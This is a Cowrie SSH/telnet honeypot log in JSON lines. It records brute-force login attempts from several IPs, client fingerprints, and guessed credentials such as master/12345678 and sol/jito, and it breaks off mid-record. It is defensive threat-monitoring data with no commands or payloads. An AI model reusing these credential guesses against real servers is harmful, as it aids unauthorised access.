{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:58:20.758173Z","src_ip":"193.32.162.151","session":"5ca5231e2857","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:58:20.893712Z","src_ip":"193.32.162.151","session":"5ca5231e2857","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"master","password":"12345678","message":"login attempt [master/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:58:21.234314Z","src_ip":"193.32.162.151","session":"5ca5231e2857","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:58:22.371008Z","src_ip":"193.32.162.151","session":"5ca5231e2857","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.203.57.19","src_port":59894,"dst_ip":"159.203.135.109","dst_port":23,"session":"eee9464ae02b","protocol":"telnet","message":"New connection: 103.203.57.19:59894 (159.203.135.109:23) [session: eee9464ae02b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:59:24.845981Z"}
{"eventid":"cowrie.session.closed","duration":5.000249862670898,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:59:29.846141Z","src_ip":"103.203.57.19","session":"eee9464ae02b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":41108,"dst_ip":"10.17.0.5","dst_port":22,"session":"42a8051d1023","protocol":"ssh","message":"New connection: 80.94.92.186:41108 (10.17.0.5:22) [session: 42a8051d1023]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:00:21.340549Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:00:21.509701Z","src_ip":"80.94.92.186","session":"42a8051d1023","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:00:21.513720Z","src_ip":"80.94.92.186","session":"42a8051d1023","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"jito","message":"login attempt [sol/jito] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:00:22.685353Z","src_ip":"80.94.92.186","session":"42a8051d1023","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:00:23.985709Z","src_ip":"80.94.92.186","session":"42a8051d1023","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":50756,"dst_ip":"159.203.135.109","dst_port":22,"session":"6fc37576fd95","protocol":"ssh","message":"New connection: 193.32.162.151:50756 (159.203.135.109:22) [session: 6fc37576fd95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:00:28.155543Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:00:28.182107Z","src_ip":"193.32.162.151","session":"6fc37576fd95","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:00:28.263390Z","src_ip":"193.32.162.151","session":"6fc37576fd95","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"master","password":"master","message":"login attempt [master/master] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:00:28.707179Z","src_ip":"193.32.162.151","session":"6fc37576fd95","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:00:29.811634Z","src_ip":"193.32.162.151","session":"6fc37576fd95","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":52118,"dst_ip":"159.203.135.109","dst_port":22,"session":"23ec35d3c0c2","protocol":"ssh","message":"New connection: 195.178.110.218:52118 (159.203.135.109:22) [session: 23ec35d3c0c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:00:38.320203Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:00:38.325054Z","src_ip":"195.178.110.218","session":"23ec35d3c0c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:00:38.406619Z","src_ip":"195.178.110.218","session":"23ec35d3c0c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"firedancer","message":"login attempt [sol/firedancer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:00:38.653241Z","src_ip":"195.178.110.218","session":"23ec35d3c0c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:00:39.736340Z","src_ip":"195.178.110.218","session":"23ec35d3c0c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"130.12.180.174","src_port":60108,"dst_ip":"159.203.135.109","dst_port":23,"session":"88951536905c","protocol":"telnet","message":"New connection: 130.12.180.174:60108 (159.203.135.109:23) [session: 88951536905c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:01:01.025340Z"}
{"eventid":"cowrie.session.closed","duration":0.516357421875,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:01:01.541567Z","src_ip":"130.12.180.174","session":"88951536905c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"139.19.117.129","src_port":58328,"dst_ip":"159.203.135.109","dst_port":22,"session":"ac6606135351","protocol":"ssh","message":"New connection: 139.19.117.129:58328 (159.203.135.109:22) [session: ac6606135351]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:02:35.593145Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:02:35.597518Z","src_ip":"139.19.117.129","session":"ac6606135351","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f1e5e9d24e5e345e8745613bde22d532","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f1e5e9d24e5e345e8745613bde22d532","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:02:35.693174Z","src_ip":"139.19.117.129","session":"ac6606135351","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"13:3a:bd:20:2d:ec:1f:76:2f:f4:df:60:b2:94:1b:a8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEAm4OL3t9/CKCXnaS1FqMqVBZtIctaDGfNTwkBypjk7LskJYRJn+y+dykldCNGmtRuNBCsBpzVIvY69ap4AX2h02FBhhngnOZl/P7so4JNo0EBVdeb8tps7fJryXFvbSFv5J+9OlbXa35aKQFPE1G4rQ7KM9cnUXnRtsZz/TPRwx7HRBPlM0FajN48djc2yQaHPtzustZ4YC6NMuadaZZlRMf5+HF6lpdHdsMmLuSlYBigRc1yI9OSlpFSQMxpqyCTiiPO8jOuoARu8ZT5cWzWcjce1oJ7t8IlklCPMnwtjFLdNCQsthXQU86s+5iey0Yons4WC5RW/zaDKStdGvq0qw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 13:3a:bd:20:2d:ec:1f:76:2f:f4:df:60:b2:94:1b:a8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:02:35.888334Z","src_ip":"139.19.117.129","session":"ac6606135351","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"13:3a:bd:20:2d:ec:1f:76:2f:f4:df:60:b2:94:1b:a8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEAm4OL3t9/CKCXnaS1FqMqVBZtIctaDGfNTwkBypjk7LskJYRJn+y+dykldCNGmtRuNBCsBpzVIvY69ap4AX2h02FBhhngnOZl/P7so4JNo0EBVdeb8tps7fJryXFvbSFv5J+9OlbXa35aKQFPE1G4rQ7KM9cnUXnRtsZz/TPRwx7HRBPlM0FajN48djc2yQaHPtzustZ4YC6NMuadaZZlRMf5+HF6lpdHdsMmLuSlYBigRc1yI9OSlpFSQMxpqyCTiiPO8jOuoARu8ZT5cWzWcjce1oJ7t8IlklCPMnwtjFLdNCQsthXQU86s+5iey0Yons4WC5RW/zaDKStdGvq0qw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:02:35.892270Z","src_ip":"139.19.117.129","session":"ac6606135351","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"13:3a:bd:20:2d:ec:1f:76:2f:f4:df:60:b2:94:1b:a8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEAm4OL3t9/CKCXnaS1FqMqVBZtIctaDGfNTwkBypjk7LskJYRJn+y+dykldCNGmtRuNBCsBpzVIvY69ap4AX2h02FBhhngnOZl/P7so4JNo0EBVdeb8tps7fJryXFvbSFv5J+9OlbXa35aKQFPE1G4rQ7KM9cnUXnRtsZz/TPRwx7HRBPlM0FajN48djc2yQaHPtzustZ4YC6NMuadaZZlRMf5+HF6lpdHdsMmLuSlYBigRc1yI9OSlpFSQMxpqyCTiiPO8jOuoARu8ZT5cWzWcjce1oJ7t8IlklCPMnwtjFLdNCQsthXQU86s+5iey0Yons4WC5RW/zaDKStdGvq0qw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 13:3a:bd:20:2d:ec:1f:76:2f:f4:df:60:b2:94:1b:a8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:02:35.990775Z","src_ip":"139.19.117.129","session":"ac6606135351","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"13:3a:bd:20:2d:ec:1f:76:2f:f4:df:60:b2:94:1b:a8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEAm4OL3t9/CKCXnaS1FqMqVBZtIctaDGfNTwkBypjk7LskJYRJn+y+dykldCNGmtRuNBCsBpzVIvY69ap4AX2h02FBhhngnOZl/P7so4JNo0EBVdeb8tps7fJryXFvbSFv5J+9OlbXa35aKQFPE1G4rQ7KM9cnUXnRtsZz/TPRwx7HRBPlM0FajN48djc2yQaHPtzustZ4YC6NMuadaZZlRMf5+HF6lpdHdsMmLuSlYBigRc1yI9OSlpFSQMxpqyCTiiPO8jOuoARu8ZT5cWzWcjce1oJ7t8IlklCPMnwtjFLdNCQsthXQU86s+5iey0Yons4WC5RW/zaDKStdGvq0qw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:02:36.274935Z","src_ip":"139.19.117.129","session":"ac6606135351","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":38414,"dst_ip":"159.203.135.109","dst_port":22,"session":"f572a833a6ae","protocol":"ssh","message":"New connection: 193.32.162.151:38414 (159.203.135.109:22) [session: f572a833a6ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:02:39.288069Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:02:39.294081Z","src_ip":"193.32.162.151","session":"f572a833a6ae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:02:39.394220Z","src_ip":"193.32.162.151","session":"f572a833a6ae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"password","message":"login attempt [user/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:02:39.803595Z","src_ip":"193.32.162.151","session":"f572a833a6ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:02:40.912335Z","src_ip":"193.32.162.151","session":"f572a833a6ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.0","message":"Connection lost after 10.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:02:45.593421Z","src_ip":"139.19.117.129","session":"ac6606135351","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":43806,"dst_ip":"10.17.0.5","dst_port":22,"session":"69ce6b393643","protocol":"ssh","message":"New connection: 80.94.92.186:43806 (10.17.0.5:22) [session: 69ce6b393643]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:03:23.691682Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:03:23.786739Z","src_ip":"80.94.92.186","session":"69ce6b393643","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":40136,"dst_ip":"159.203.135.109","dst_port":22,"session":"a07d64a19c5a","protocol":"ssh","message":"New connection: 195.178.110.218:40136 (159.203.135.109:22) [session: a07d64a19c5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:03:23.803460Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T09:03:23.808109Z","src_ip":"195.178.110.218","session":"a07d64a19c5a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rs